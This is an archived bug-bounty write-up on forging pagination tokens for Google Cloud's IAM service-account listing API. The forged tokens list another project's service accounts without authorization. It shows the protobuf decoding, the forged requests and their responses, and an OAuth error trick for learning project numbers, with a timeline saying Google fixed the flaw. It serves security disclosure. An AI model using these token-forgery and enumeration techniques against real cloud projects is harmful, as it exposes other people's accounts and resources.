

Auth bypass: Leaking Google Cloud service accounts and projects

Auth bypass: Leaking Google Cloud service accounts and projects - Ezequiel Pereira, Blogger.

- Published: 2020-08-26
- Original: <<https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html>>
- Preserved from: <https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Auth bypass: Leaking Google Cloud service accounts and projects

TL;DR

It was possible to list [IAM service accounts](#) of any [Google Cloud Platform](#) project, given its project number, by forging a [pageToken](#) for the [projects.serviceAccounts.list](#) method of the [IAM API](#). Due to the design of certain services in Google Cloud, this issue could lead to the leak of lots of Google Cloud Platform project IDs, which are considered [PII](#), and which could be further used to scan for unsecured resources in the platform, such as [App Engine](#) apps, [Container Registry](#) repositories, etc.

Intro

On a stormy winter Saturday, I was looking for targets in the [Google Cloud Platform](#) (GCP) to perform some bug-hunting on, one of those targets was the [IAM API](#), which, among other things, is used to manage [service accounts](#).

Service accounts are special Google accounts that can be used by programs, often used to perform actions in GCP such as managing resources or accessing information.

I honestly did not have high hopes of finding any security issues in the IAM API, since it is one of the most sensitive GCP services, a security issue in it could potentially lead to a compromise of most of Google Cloud resources, therefore everything would have probably undergone heavy security scrutiny.

But anyway, I began looking at the different methods the API has to offer, but at first none of them seemed to have any good attack vector that could have been missed by Google engineers.

At one point, I was looking at the [projects.serviceAccounts.list](#) method, used for listing service accounts in a given project. Its documentation mentions a [pageToken](#) query parameter, which is used for paginating through the list of service accounts, useful for when there are too many service accounts to retrieve in a single request.

Thinking about how could that pagination have been implemented, I decided to take a look at it by issuing requests to the `projects.serviceAccounts.list` method.

First, an usual request with no query parameters: GET

`https://iam.googleapis.com/v1/projects/attacker-project/serviceAccounts`

Response:

```
{ "accounts": [ { "name": "projects/attacker-project/serviceAccounts/firebase-adminsdk-y9tkf@attacker-project.iam.gserviceaccount.com", "projectId": "attacker-project", "uniqueId": "114039683018595075331", "email": "firebase-adminsdk-y9tkf@attacker-project.iam.gserviceaccount.com", "displayName": "firebase-adminsdk", "etag": "MDEwMjE5MjA=", "description": "Firebase Admin SDK Service Agent", "oauth2ClientId": "114039683018595075331" }, { "name": "projects/attacker-project/serviceAccounts/evil-account@attacker-project.iam.gserviceaccount.com", "projectId": "attacker-project", "uniqueId": "101363419927265152353", "email": "evil-account@attacker-project.iam.gserviceaccount.com", "displayName": "Evil account", "etag": "MDEwMjE5MjA=", "description": "You just lost The Game", "oauth2ClientId": "101363419927265152353" }, { "name": "projects/attacker-project/serviceAccounts/attacker-project@appspot.gserviceaccount.com", "projectId": "attacker-project", "uniqueId": "104759822164580165132", "email": "attacker-project@appspot.gserviceaccount.com", "displayName": "App Engine default service account", "etag": "MDEwMjE5MjA=", "oauth2ClientId": "104759822164580165132" }, { "name": "projects/attacker-project/serviceAccounts/malicious-robot@attacker-project.iam.gserviceaccount.com", "projectId": "attacker-project", "uniqueId": "117315665924239652983", "email": "malicious-robot@attacker-project.iam.gserviceaccount.com", "displayName": "Malicious robot", "etag": "MDEwMjE5MjA=", "description": "Take over the world!", "oauth2ClientId": "117315665924239652983" }, { "name": "projects/attacker-project/serviceAccounts/bad-account@attacker-project.iam.gserviceaccount.com", "projectId": "attacker-project", "uniqueId": "116759010537127847392", "email": "bad-account@attacker-project.iam.gserviceaccount.com", "displayName": "Bad account", "etag": "MDEwMjE5MjA=", "description": "goo.gl/rk2yhL", "oauth2ClientId": "116759010537127847392" } ] }
```

The response does not include a [nextPageToken](#) (Used to retrieve the next page, if there is one) since my project has less than 20 service accounts (The default page size).

Next, I limited the amount of service accounts per page to 3: GET

`https://iam.googleapis.com/v1/projects/attacker-project/serviceAccounts?pageSize=3`

Response:

```
{ "accounts": [ { "name": "projects/attacker-project/serviceAccounts/firebase-adminsdk-y9tkf@attacker-project.iam.gserviceaccount.com", "projectId": "attacker-project", "uniqueId": "114039683018595075331", "email": "firebase-adminsdk-y9tkf@attacker-project.iam.gserviceaccount.com", "displayName": "firebase-adminsdk", "etag": "MDEwMjE5MjA=", "description": "Firebase Admin SDK Service Agent", "oauth2ClientId": "114039683018595075331" }, { "name": "projects/attacker-project/serviceAccounts/evil-account@attacker-project.iam.gserviceaccount.com", "projectId": "attacker-project", "uniqueId": "101363419927265152353", "email": "evil-account@attacker-project.iam.gserviceaccount.com", "displayName": "Evil account", "etag": "MDEwMjE5MjA=", "description": "You just lost The Game", "oauth2ClientId": "101363419927265152353" }, { "name": "projects/attacker-project/serviceAccounts/attacker-project@appspot.gserviceaccount.com", "projectId": "attacker-project", "uniqueId": "104759822164580165132", "email": "attacker-project@appspot.gserviceaccount.com", "displayName": "App Engine default service account", "etag": "MDEwMjE5MjA=", "oauth2ClientId": "104759822164580165132" } ], "nextPageToken": "cg:CJSEhZWICRgDIAAqCkNJS1VtTWVzR3c" }
```

This time, I did get a nextPageToken, and when specifying it on a request, it does return the next page as expected: GET <https://iam.googleapis.com/v1/projects/attacker-project/serviceAccounts?pageToken=cg:CJSEhZWICRgDIAAqCkNJS1VtTWVzR3c>

Response:

```
{ "accounts": [ { "name": "projects/attacker-project/serviceAccounts/malicious-robot@attacker-project.iam.gserviceaccount.com", "projectId": "attacker-project", "uniqueId": "117315665924239652983", "email": "malicious-robot@attacker-project.iam.gserviceaccount.com", "displayName": "Malicious robot", "etag": "MDEwMjE5MjA=", "description": "Take over the world!", "oauth2ClientId": "117315665924239652983" }, { "name": "projects/attacker-project/serviceAccounts/bad-account@attacker-project.iam.gserviceaccount.com", "projectId": "attacker-project", "uniqueId": "116759010537127847392", "email": "bad-account@attacker-project.iam.gserviceaccount.com", "displayName": "Bad account", "etag": "MDEwMjE5MjA=", "description": "goo.gl/rk2yhL", "oauth2ClientId": "116759010537127847392" } ] }
```

But, what is this token? I considered it could be a random string generated for my request, but successive requests always generated the same token if I did not change any parameter. And also, storing random tokens, when most of them are only used a few times, sounds like it'd be a waste of Google's resources. So, the token should probably store some information.

With a closer look, it looks really like the string after "cg:" (CJSEhZWICRgDIAAqCkNJS1VtTWVzR3c) could be some data encoded in base64. Decoding it results in some binary data that looks like: "\x08\x94\x84\x85\x95\x88\t\x18\x03\x00*\nCIKUmmesGw". There's an easily readable string in there: "CIKUmmesGw", so this token is probably not-random data, and it might not be encrypted.

But, what kind of encoding could it be using? Well, if you know Google, they love using [Protocol Buffers](#), they love it so much that a wise Googler once told me: *"Welcome to google, everything is a proto"*. So, let's check if this is the case with the binary data.

Using the [Protocol Buffer Compiler](#) (protoc), it is easy to decode binary proto messages, even if you don't have the proto definition, by using the `--decode_raw` option: `echo "CJSEhZWICRgDIAAqCkNJS1VtTWVzR3c=" | base64 -d | protoc --decode_raw # Note I had to pad the base64 string with =`

This prints: 1: 311429251604 3: 3 4: 0 5: "CIKUmMesGw"

Look at that! It is a proto after all :).

And some fields immediately look familiar: Field 1: It is a large number, and I recognize it: It is my [project's number](#) Field 3: It looks like the `pageSize` I specified (3) Field 5: Is it another base64 encoded proto?

I never figured out what field 4 is for, just that it seems to always be set to 0.

Let's check field 5: `echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw`

Prints: 1: 939673389570

Yep, another proto. Its only field looks like a large number, but it is not my project's number. After meddling around, I figured out it is an account ID that identifies the last service account returned in the current page (So, 939673389570 = `attacker-project@appspot.gserviceaccount.com`)

The bug

All this information means it is really easy to forge new `pageTokens`, using a custom proto definition + `protoc` + `base64`. I played around with this, and figured out two important things:

- If I remove field 5 (The base64 encoded inner proto), the `pageToken` returns the first page of service accounts (As if there was no `pageToken` at all)
- If I specify a different project number in field 1, I'll get the list of service accounts for such project, regardless of the value of the `name path` parameter, and it works even if I have no permission to list service accounts for the specified project number

So, I had found a way to bypass authorization checks in the `projects.serviceAccounts.list` method!

[Here you have a simple Bash script](#) I wrote to generate a `pageToken` by passing a project number as an argument.

For example, I can target a victim project I have no access to, but for which I somehow got its project number: `./encode.sh 302071612485`

Prints: `cg:CMWI_KblCBgDIAA`

I plug it into a request to the API: `GET https://iam.googleapis.com/v1/projects/attacker-project/serviceAccounts?pageToken=cg:CMWI_KblCBgDIAA`

And I get the first three service accounts of the victim project:

```
{ "accounts": [ { "name": "projects/attacker-project/serviceAccounts/kitten-pics@victim-project.iam.gserviceaccount.com", "projectId": "attacker-project", "uniqueId": "108759498701301308929", "email": "kitten-pics@victim-project.iam.gserviceaccount.com", "displayName": "Kitten pics", "etag": "MDEwMjE5MjA=", "description": "Automatic gatherer of cute pictures", "oauth2ClientId": "108759498701301308929" }, { "name": "projects/attacker-project/serviceAccounts/302071612485-compute@developer.gserviceaccount.com", "projectId": "attacker-project", "uniqueId": "117205958306450846787", "email": "302071612485-compute@developer.gserviceaccount.com", "displayName": "Compute Engine default service account", "etag": "MDEwMjE5MjA=", "oauth2ClientId": "117205958306450846787" }, { "name": "projects/attacker-project/serviceAccounts/cancer-cure@victim-project.iam.gserviceaccount.com", "projectId": "attacker-project", "uniqueId": "111161917541868408017", "email": "cancer-cure@victim-project.iam.gserviceaccount.com", "displayName": "Cancer cure", "etag": "MDEwMjE5MjA=", "description": "Research account to cure cancer", "oauth2ClientId": "111161917541868408017" } ], "nextPageToken": "cg:CMWI_KblCBgDIAAqCkNKX1M5YjNnQ1E" }
```

The IAM API is kind enough to also provide a nextPageToken to continue paginating through my victim's service accounts, which works wonders: GET

https://iam.googleapis.com/v1/projects/attacker-project/serviceAccounts?pageToken=cg:CMWI_KblCBgDIAAqCkNKX1M5YjNnQ1E

I get the last service account:

```
{ "accounts": [ { "name": "projects/attacker-project/serviceAccounts/db-admin@victim-project.iam.gserviceaccount.com", "projectId": "attacker-project", "uniqueId": "113197116170954921947", "email": "db-admin@victim-project.iam.gserviceaccount.com", "displayName": "Database admin", "etag": "MDEwMjE5MjA=", "description": "Used to access the confidential database located in 192.168.0.1:3306, with user \"root\" and password \"hunter2\" - No hack plz", "oauth2ClientId": "113197116170954921947" } ] }
```

There are a few oddities while performing this attack:

- The `projectId` field for every service account reads attacker-project, even though they really belong to the victim's project
- The `IAM audit log` regarding the listing of service accounts is written to attacker-project, the victim's log does not show the unauthorized access at all, even if they have IAM audit logs enabled for every service

Impact

So, this attack is simple and interesting, but by itself it is unlikely to reveal much about a target project, and it requires to have a project number to begin with. How much of an impact could it really have? I had to find out.

It is important to know a few things:

- When a project enables certain GCP services, special [Google-managed service accounts](#) are created, several of follow a format service-`<PROJECT NUMBER>@<GOOGLE-OWNED PROJECT ID>.iam.gserviceaccount.com` (This is called a *per-product per-project service account*, or *P4SA* for short)
- When you create a service account in a project, it will have this format:
`<NAME>@<YOU PROJECT ID>.iam.gserviceaccount.com`

Note: If your project has a domain-prefixed ID, such as `example.com:project-1234`, the service accounts will be in the format: `<NAME>@<YOU PROJECT ID WITHOUT DOMAIN>.<DOMAIN>.iam.gserviceaccount.com` (i.e. `myrobot@project-1234.example.com.iam.gserviceaccount.com`)

- Given a project ID, there are ways to get its project number

So, lets say I use [Cloud Functions](#) in my attacker-project project, then a service account called `service-311429251604@gcf-admin-robot.iam.gserviceaccount.com` will be created. But, service accounts usually belong to a project, what project owns this new service account? Well, it says it right in its name: The `gcf-admin-robot` project, which is a project owned by Google.

But, how can I get its project number? Here's a trick:

- Get a service account owned by the project
- Construct a URL like this: `https://accounts.google.com/o/oauth2/v2/auth?scope=email&redirect_uri=http://localhost&response_type=token&client_id=<SERVICE ACCOUNT>`
- Visit the constructed link, it will show Error 400: `redirect_uri_mismatch` and a URL to the [Cloud Console](#), which at the end has a project parameter with the number we want!

So, in this case, a service account is already known (`service-311429251604@gcf-admin-robot.iam.gserviceaccount.com`), and visiting https://accounts.google.com/o/oauth2/v2/auth?scope=email&redirect_uri=http://localhost&response_type=token&client_id=service-311429251604@gcf-admin-robot.iam.gserviceaccount.com returns the project number: `134171192235`

We can now use it to list all the service accounts owned by the `gcf-admin-robot` project, therefore we would be able to get a list of every single Cloud Functions' P4SA. And what do those service accounts have in their name? The project number of the project that enabled Cloud Functions. Thus, we could get a list of project numbers of every project that ever used Cloud Functions!

Repeating the process with all the other P4SA, it would be possible to get a huge list of GCP projects' numbers. (Remember my note about domain-prefixed projects, for example: `service-<PROJECT NUMBER>@cloud-ml.google.com.iam.gserviceaccount.com` service accounts are owned by the "google.com:cloud-ml" project)

This in itself is quite a lot, but what is better than project numbers? Project IDs! With project IDs it'd be possible to infer information from them (For example, it'd be possible to identify some Cloud customers if their projects include the company's name in them - Like

company-cloud-project-prod). Another possible thing is enumerating unsecured resources, such as unsecured [Cloud Storage buckets](#) (Assuming they name them the same way as the project, or similar), unsecured [App Engine apps](#), unsecured [Container Registry repositories](#), etc.

If enough companies left resources unsecured, this could lead to a dramatic data leak.

But, resolving project IDs from project numbers is a security issue in itself (After all, Google considers GCP projects IDs to be [PII](#)), it'd be necessary to find such a security issue to exploit the full potential of this IAM API issue.

(Un)luckily... **I found such a security issue** :) But that's a write-up for another time...

Timeline

- August 8th, 2020 - Issue found and reported
- August 13th, 2020 - Reward issued by the Google Security VRP panel
- August 26th, 2020 - Issue confirmed as fixed by the Google VRP team

Archived from <https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html>. Rendered offline from the local Markdown copy.